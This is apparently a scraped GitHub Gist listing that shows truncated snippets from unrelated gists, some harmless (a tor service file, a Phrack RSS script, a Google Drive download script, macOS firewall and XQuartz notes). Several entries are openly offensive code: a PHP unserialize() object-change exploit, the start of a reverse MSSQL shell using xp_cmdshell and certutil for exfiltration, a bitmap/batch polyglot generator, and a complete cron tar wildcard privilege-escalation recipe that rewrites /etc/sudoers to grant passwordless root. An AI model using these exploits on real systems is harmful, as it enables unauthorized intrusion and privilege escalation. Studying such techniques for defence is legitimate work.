Skip to content

Instantly share code, notes, and snippets.

$ cat /usr/lib/systemd/system/tor.service
[Unit]
Description=Anonymizing overlay network for TCP
After=syslog.target network.target nss-lookup.target
PartOf=tor-master.service
ReloadPropagatedFrom=tor-master.service
[Service]
Type=notify
NotifyAccess=all
@carter-yagemann
carter-yagemann / phrack-rss.py
Created January 13, 2017 17:48
Phrack RSS
"""
phrack-rss.py - Generates a RSS feed for Phrack's releases.
Copyright (c) 2016 Carter Yagemann
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
@allyshka
allyshka / test.php
Created February 11, 2017 18:10
PHP <= 5.6.11 DateInterval + GMP unserialize() object change exploit
<?php
$a = new stdClass; // handle = 1
$a->test = false;
echo('Property $a->test is: ');
var_dump($a->test);
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}');
echo('Property $a->test changed to: ');
var_dump($a->test);
@FrankSpierings
FrankSpierings / README.md
Last active November 4, 2025 21:29
Linux Container Escapes and Hardening
@xassiz
xassiz / mandros.py
Created March 16, 2018 07:53
Reverse MSSQL shell
import sys
import requests
import threading
import HTMLParser
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
'''
Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
Author: @xassiz
'''
@amit-chahar
amit-chahar / download-script.sh
Last active February 20, 2023 12:57
Scirpt to download files from Google drive using curl (Detailed explanation can be read here: https://stackoverflow.com/a/49444877/4043524)
#!/bin/bash
fileid="FILEIDENTIFIER"
filename="FILENAME"
curl -c ./cookie -s -L "https://drive.google.com/uc?export=download&id=${fileid}" > /dev/null
curl -Lb ./cookie "https://drive.google.com/uc?export=download&confirm=`awk '/download/ {print $NF}' ./cookie`&id=${fileid}" -o ${filename}
@FrankSpierings
FrankSpierings / bitchmap.py
Last active June 4, 2019 10:01
Create a bitmap file which can be used as a cmd/batch file
#!/usr/bin/python3
#
#Based on: https://www.thelacunablog.com/open-command-prompt-ms-paint.html
import struct
from PIL import Image
def imagegen(s, path):
# Fix header
s = '\x00\x00\x0a\x0d\x0a\x0d' + s
@CaptBoykin
CaptBoykin / linux_privesc_cron_tar_wildcard.txt
Last active October 10, 2022 10:09
Cron Tar Wildcard Injection (Linux Privesc)
// https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/
// This will replace sudoers. Add your user to <INSERT YOUR USER HERE>
echo 'echo "Defaults env_reset" > /etc/sudoers' >> test.sh
echo 'echo "Defaults mail_badpass" >> /etc/sudoers' >> test.sh
echo 'echo "Defaults secure_path=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin\" ">> /etc/sudoers' >> test.sh
echo 'echo "root ALL=(ALL:ALL) ALL" >> /etc/sudoers' >> test.sh
echo 'echo "%sudo ALL=(ALL:ALL) ALL" >> /etc/sudoers' >> test.sh
echo 'echo "<INSERT YOUR USER HERE> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
@noize-e
noize-e / firewall.sh
Created May 29, 2019 06:48
macOS socketfilterfw firewall decorator
#!/usr/bin/env bash
set -o errexit
set -o errtrace
usage() {
printf "\
macOS socketfilterfw decorator.
firewall [-command] [args]
@roaldnefs
roaldnefs / mac-docker-gui.txt
Created December 22, 2019 10:27
Running GUI application in Docker on MacOS
# Install XQuartz
brew cask install xquartz
# Restart MacOS
# Open XQuartz
open -a XQuartz
# Ensure the "Allow connections from network clients" option in Preferences >> Security is turned on